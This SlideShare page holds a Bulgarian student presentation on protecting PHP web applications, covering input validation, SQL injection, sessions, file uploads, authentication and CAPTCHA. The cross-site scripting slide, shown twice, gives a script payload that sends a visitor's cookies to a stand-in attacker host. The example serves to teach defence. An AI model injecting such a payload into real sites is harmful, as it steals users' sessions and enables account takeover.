SlideShare a Scribd company logo
Защита при създаване на PHP-
   приложения в Интернет




     изготвил: Николай Борисов
       специалност „Информатика“, ф.н. 9739
Методи за разработване на PHP
          приложения
• Обектно ориентирано
• Да използваме фреймуорк
• Да използваме възможностите му
  – Верификация на данните
  – Санитаризация на данните
  – Подреденост и неповтаряемост на кода
Error handling
Най-често срещаните причини за получаване на такива
грешки са:
• Грешка в писането
• Скука
• Предизвикателството да те надхитрят
• Просто любопитство
• Реални злонамерени намерения

Добра практика е грешките да се подтискат след
преключване на дебъгването на приложението и да се
показват само тези от тях, които разработчикът прецени, че
биха били от реална полза на потребителя.
Уеб-форми и URL – адреси

Това са най-честите места, които попадат на
вниманието на атакуващия, защото те са мястото
за взаимодействие със сайта.
Затова трябва:
• Да не вярваме на потребителя
• Да предвиждаме всяко едно негово действие
• Да се подготвим за най-лошия сценарии

Пример с използването на Zend Form и Zend Validate
класовете може да се види в реферата.
Бази от данни и SQL
Хранилището на нашата информация е и мястото
където се пази най-ценната част от нея. Затова
трябва:
• Да защитим файла с паролите и информацията за
  връзката с БД
• Да се защитим от SQL injection
Криптиране на данните
Добра практика е ценната информация да се
криптира, за да се добави допълнителен слой
защита към нея.
Cross-Site Scripting

Проблемът се изразява в това, че в уеб-
формите може да се въведе скрипт, който да
внесе в сайта злонамерени функции.
Пример:
 <script>
document.location =
'http://evil.example.org/steal.php?cookies='
+document.cookie
</script>
Сесии и Бисквитки
Могат да бъдат откраднати чрез Cross Site
Scripting, но истината че SESSION IDENTIFIER
вече не се използва самостоятелно а и дори в
новите      хостинги    е    изключен     по
подразбиране.

SSL дава допълнителен слой на сигурност.
Работа с файлове
• Да проверяваме и да се подсигуряваме
  когато работим с чужди файлове (e.g.RSS)
• Да се предотвратява command injection
• Да се проверява какво се позволява да се
  ъплоудва на вашия сайт
• Да се прави ограничение и в размера на
  файла
Автентификация




Добре е в някои райони от сайта да се дава достъп
само на потребители, като се регламентира достапът
им чрез потребителско име и парола. Това
впоследствие създава и някои проблеми:
• Възможност от brute force атака
• Възможност от Sniffing атака
Споделен хостинг
Ето някои проблеми със споделения хостинг:
• Видим сорс код
• Видима сесия
• Инжектиране на сесия
Анти бот защита

CAPTCHA – видове
•   Текстова - Zend_Captcha_Image
•   Текст от символи -Zend_Captcha_Figlet
•   Въвеждане на текст на обратно - Zend_Captcha_Dumb
•   Аудио Captcha
•   Когнитивна Captcha
Тествай, тествай и после тествай!

Тестването е една от задължителните практики
за разработване на сигурни и надеждни
информационни системи чрез PHP. При
тестването могат да излязат пробойни на места,
на които в други ситуации не би трябвало да
има, поради нестандартност на системата или
поради вземане на нестандартни решения от
страна на програмиста за решаване на иначе
стандартни проблеми.
Благодаря за вниманието!

More Related Content

ODP
Drupal Security
PDF
Penetration testing for dummies
PPT
Bezopasnost i za6tita_na_web_prolojenia
DOC
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
PDF
5494 n nikolov_zashtita_ppt
DOCX
Php security
PPTX
Безопасност и защита при използване на Web-браузъри.
PPT
Модул на сайт за препращащи връзки
Drupal Security
Penetration testing for dummies
Bezopasnost i za6tita_na_web_prolojenia
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
5494 n nikolov_zashtita_ppt
Php security
Безопасност и защита при използване на Web-браузъри.
Модул на сайт за препращащи връзки

Viewers also liked (20)

DOC
Os Anéis do Diabo
PDF
Oficina - "Podcast, como faz?"
DOC
sentencia asistencia sanitaria
PPTX
Profecias
PPT
Exposicion Yesica
PPT
Trabajo
PDF
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégica
DOCX
Objetivos de História - 4º Teste - 2ºPeríodo
PPS
Mis Pinturas
PPT
PresentacióN 200820 Ein971 171
PPS
Seleção jacobinense
PPS
Preguntas
PPT
Bajos Profesionales
PPS
El Aguila
DOC
sentencia IP
PPT
GRAN COLISIONADOR DE HADRONES
PPTX
Musica de ciness
PDF
Rotatividade mao de_obra
PPT
Aprendizagem, Autoria e Avaliação
Os Anéis do Diabo
Oficina - "Podcast, como faz?"
sentencia asistencia sanitaria
Profecias
Exposicion Yesica
Trabajo
Corporate Venturing na Telefônica Brasil - Buscando a inovação estratégica
Objetivos de História - 4º Teste - 2ºPeríodo
Mis Pinturas
PresentacióN 200820 Ein971 171
Seleção jacobinense
Preguntas
Bajos Profesionales
El Aguila
sentencia IP
GRAN COLISIONADOR DE HADRONES
Musica de ciness
Rotatividade mao de_obra
Aprendizagem, Autoria e Avaliação
Ad

Similar to Php security (20)

PDF
Kursova 116679
PDF
Php sec referat
PDF
Защита при създаване на PHP-приложения в Интернет
DOCX
Защита при създаването на PHP-приложения
PDF
5494 n nikolov_zashtita
ODP
Php sec
PDF
Защита при създаване на PHP приложения в Интернет
DOC
Bezopastnost i zashtita na web priolojeniq
PPTX
PHP Security
PPTX
Безопасност и защита на Web приложения
PPT
безопасност и защита на Web приложения
PPT
Php sec
PDF
Заплахи за уеб приложенията на фирмите и предлагани решения за защита
PPTX
Защита при създаване на PHP приложения в Интернет (презентация)
PDF
Защита при създаване на PHP-приложения в интернет
PDF
500085 presentation
PDF
Api автентификация и безопасност и защита на web
PDF
ODP
WordPress Security
Kursova 116679
Php sec referat
Защита при създаване на PHP-приложения в Интернет
Защита при създаването на PHP-приложения
5494 n nikolov_zashtita
Php sec
Защита при създаване на PHP приложения в Интернет
Bezopastnost i zashtita na web priolojeniq
PHP Security
Безопасност и защита на Web приложения
безопасност и защита на Web приложения
Php sec
Заплахи за уеб приложенията на фирмите и предлагани решения за защита
Защита при създаване на PHP приложения в Интернет (презентация)
Защита при създаване на PHP-приложения в интернет
500085 presentation
Api автентификация и безопасност и защита на web
WordPress Security
Ad

Php security

  • 1. Защита при създаване на PHP- приложения в Интернет изготвил: Николай Борисов специалност „Информатика“, ф.н. 9739
  • 2. Методи за разработване на PHP приложения • Обектно ориентирано • Да използваме фреймуорк • Да използваме възможностите му – Верификация на данните – Санитаризация на данните – Подреденост и неповтаряемост на кода
  • 3. Error handling Най-често срещаните причини за получаване на такива грешки са: • Грешка в писането • Скука • Предизвикателството да те надхитрят • Просто любопитство • Реални злонамерени намерения Добра практика е грешките да се подтискат след преключване на дебъгването на приложението и да се показват само тези от тях, които разработчикът прецени, че биха били от реална полза на потребителя.
  • 4. Уеб-форми и URL – адреси Това са най-честите места, които попадат на вниманието на атакуващия, защото те са мястото за взаимодействие със сайта. Затова трябва: • Да не вярваме на потребителя • Да предвиждаме всяко едно негово действие • Да се подготвим за най-лошия сценарии Пример с използването на Zend Form и Zend Validate класовете може да се види в реферата.
  • 5. Бази от данни и SQL Хранилището на нашата информация е и мястото където се пази най-ценната част от нея. Затова трябва: • Да защитим файла с паролите и информацията за връзката с БД • Да се защитим от SQL injection
  • 6. Криптиране на данните Добра практика е ценната информация да се криптира, за да се добави допълнителен слой защита към нея.
  • 7. Cross-Site Scripting Проблемът се изразява в това, че в уеб- формите може да се въведе скрипт, който да внесе в сайта злонамерени функции. Пример: <script> document.location = 'http://evil.example.org/steal.php?cookies=' +document.cookie </script>
  • 8. Сесии и Бисквитки Могат да бъдат откраднати чрез Cross Site Scripting, но истината че SESSION IDENTIFIER вече не се използва самостоятелно а и дори в новите хостинги е изключен по подразбиране. SSL дава допълнителен слой на сигурност.
  • 9. Работа с файлове • Да проверяваме и да се подсигуряваме когато работим с чужди файлове (e.g.RSS) • Да се предотвратява command injection • Да се проверява какво се позволява да се ъплоудва на вашия сайт • Да се прави ограничение и в размера на файла
  • 10. Автентификация Добре е в някои райони от сайта да се дава достъп само на потребители, като се регламентира достапът им чрез потребителско име и парола. Това впоследствие създава и някои проблеми: • Възможност от brute force атака • Възможност от Sniffing атака
  • 11. Споделен хостинг Ето някои проблеми със споделения хостинг: • Видим сорс код • Видима сесия • Инжектиране на сесия
  • 12. Анти бот защита CAPTCHA – видове • Текстова - Zend_Captcha_Image • Текст от символи -Zend_Captcha_Figlet • Въвеждане на текст на обратно - Zend_Captcha_Dumb • Аудио Captcha • Когнитивна Captcha
  • 13. Тествай, тествай и после тествай! Тестването е една от задължителните практики за разработване на сигурни и надеждни информационни системи чрез PHP. При тестването могат да излязат пробойни на места, на които в други ситуации не би трябвало да има, поради нестандартност на системата или поради вземане на нестандартни решения от страна на програмиста за решаване на иначе стандартни проблеми.